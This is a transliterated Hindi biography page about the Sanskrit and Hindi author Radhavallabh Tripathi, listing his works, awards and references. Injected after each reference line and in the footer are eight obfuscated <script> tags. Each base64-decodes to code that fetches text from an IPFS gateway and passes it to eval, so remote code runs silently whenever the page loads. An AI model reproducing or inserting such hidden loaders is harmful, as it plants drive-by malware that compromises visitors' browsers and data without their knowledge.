राधावल्लभ त्रिपाठी
radhavallabh tripathi
| |
poora nam | radhavallabh tripathi |
janm | 15 faravari, 1949 |
janm bhoomi | rajagadh, madhy pradesh |
karm bhoomi | bharat |
mukhy rachanaean | 'sandhanam', 'gitadhivaram', 'naya sahity naya sahityashastr', 'vikramadity katha', 'natyashastr vishvakosh', 'sanskrit kavita ki lokadharmi paranpara' adi. |
bhasha | hindi, sanskrit |
shiksha | em.e. (1970, sanskrit, gold medal), piech.di (1972), di.lith (1981)[1] |
puraskar-upadhi | 'sahity akadami puraskar' (1994), 'pandit raj samman' (2016), 'shankar puraskar' |
prasiddhi | prakhar hindi lekhak aur sanskrit sahityakar |
nagarikata | bharatiy |
any janakari | ‘vikramadityakatha’ radhavallabh tripathi ke dvara likhi asadharan katha-kriti hai. sanskrit ke mahanh gadyakar mahakavi dandi padalality ke lie vikhyat haian. 'dashakumaracharit’ unaki charchit kriti hai. |
inhean bhi dekhean | kavi soochi, sahityakar soochi |
radhavallabh tripathi (aangrezi: Radhavallabh Tripathi, janm- 15 faravari, 1949, rajagadh, madhy pradesh) prasiddh sahityakar haian. mukhyat: ve sanskrit bhasha ke pratishthit sahityakar ke roop mean jane jate haian. unake dvara rachit kavita-sangrah 'sandhanamh' ke liye unhean san 1994 mean 'sahity akadami puraskar' se sammanit kiya gaya tha. radhavallabh tripathi sanskrit ko adhunikata ka sanskar dene vale vidvanh aur hindi ke prakhar lekhak v kathakar haian.
pramukh kritiyaan
radhavallabh tripathi ji ki pramukh kritiyaan nimn prakar haian[2]-
- sandhanam (1989)
- laharidashakam (1991)
- gitadhivaram (1996)
- sampalavah (2000)
- naya sahity naya sahityashastr
- kathasaritsagar
- sanskrit sahity saurabh (tisara aur chautha khand)
- adi kavi valmiki
- sanskrit kavita ki lokadharmi paranpara (do sanskaran)
- kavyashastr aur kavy (sanskrit kavyashastr aur kavyaparanpara shirshak se naya sanskaran)
- bharatiy naty shastr ki paranpara evan vishv rangamanch
- vikramadity katha
- lekchars aaun natyashastr
- natyashastr vishvakosh (char khand)
- e bibliographi aauph alankarashastr
- kadanbari
- adhunik sanskrit sahity:sandarbh soochi
achary radhavallabh tripathi sanskrit tatha hindi donoan paridrishyoan mean saman roop se pratishthit tatha svikary haian. sanskrit kshetr mean ve ek vishv nagarik ki bhaanti ve usamean rahakar use bahar se bhi dekh sakate haian. yah drishti
bahut hi svasth aur durlabh hai.[3] radhavallabh tripathi sanskrit ko adhunikata ka sanskar dene vale vidvanh aur hindi ke prakhar lekhak v kathakar haian. ‘vikramadityakatha’ unake dvara likhi asadharan katha-kriti hai. sanskrit ke mahanh gadyakar mahakavi dandi padalality ke lie vikhyat haian. ‘dashakumaracharit’ unaki charchit kriti hai. parantu d aau. radhavallabh tripathi ko unaki ek aur sanskrit kriti ‘vikramadityakatha’ ki jirn-shirn pandulipi hath lag gayi. is kriti ko hindi mean aupanyasik roop dekar d aau. tripathi ne ek or mool kriti ke svaroop ki raksha ki hai aur doosari or use ek marmik katha ke roop mean avatarit kiya hai. is kriti se us yug ka naya paridrishy udghatit hota hai aur pathak ka manolok anokhe sauandary se bhar uthata hai.[4]
naya sahity:naya sahityashastr
'naya sahity: naya sahityashastr' vidvanh radhavallabh tripathi ki kavyashastr par tisari pustak hai. yah sanskrit kavyashastr ke alankar prasthan ki vyapak vaicharik aur sanrachanatmak adharabhoomi ko rekhaankit karati hai. alankar ki vyavaharik parinatiyoan aur alankar vimarsh ki vyapak arthavatta ko aj ke sahity ke sandarbh mean yahaan parakha gaya hai. alankar tattv ki isamean prastut nee vyakhya usaki achhooti sambhavanaean kholati hai tatha sahity ke adhyayan ke lie sanrachanavadi kavyashastr ki ek bhoomika nirmit karati hai. sanskrit ke prakhyat kaviyoan ke sath hindi kaviyoan mean 'nirala' aur 'muktibodh' tatha boris pastaranak jaise roosi rachanakaroan aur milan kundera jaise uttar-adhunik yug ke lekhakoan tak ki mimaansa lekhak ne nirbhikata ke sath yahaan ki hai. lekhak ka manana hai ki pashchim mean sasyoor, soosan laiangar, ch aaumski adi ke pratipadan tatha uttar-adhunikatavad ke sandarbh mean bharatiy kavyachiantan ke alankar tattv ki mahati pithika punah ujagar karana zaroori hai.[5]
puraskar-samman
- radhavallabh tripathi ko unake kavita sangrah 'sandhanam' par 1994 mean 'sahity akadami puraskar' se sammanit kiya gaya tha.
- birala fauandeshan ke 'shankar puraskar' sahit aur bhi anek puraskar v samman unhean mil chuke haian.
- 'pandit raj samman' (2016)
|
|
|
|
|
tika tippani aur sandarbh
- ↑ Biography of Radhavallabh Tripathi (hiandi) radhavallabh.co.in. abhigaman tithi: 20 disambar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ radhavallabh tripathi (hiandi) kavitakosh.org. abhigaman tithi: 20 disambar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Prof. Radha Vallabh Tripathi - An interview (bhasha ke agam sagar mean) (hiandi). . abhigaman tithi: 20 disambar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ vikramadity katha, radhavallabh tripathi (hiandi) pustak.org. abhigaman tithi: 20 disambar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Naya Sahitya : Naya Sahityashashtra (hiandi) rajakamal prakashan samooh. abhigaman tithi: 20 disambar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- sanskrit sahity mean svadhin striyaan : radhavallabh tripathi
- sanskrit ko usaki sanskriti ne mara
- radhavallabh tripathi
- Biography of Radhavallabh Tripathi
- Radhavallabh Tripathi : A Profile
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>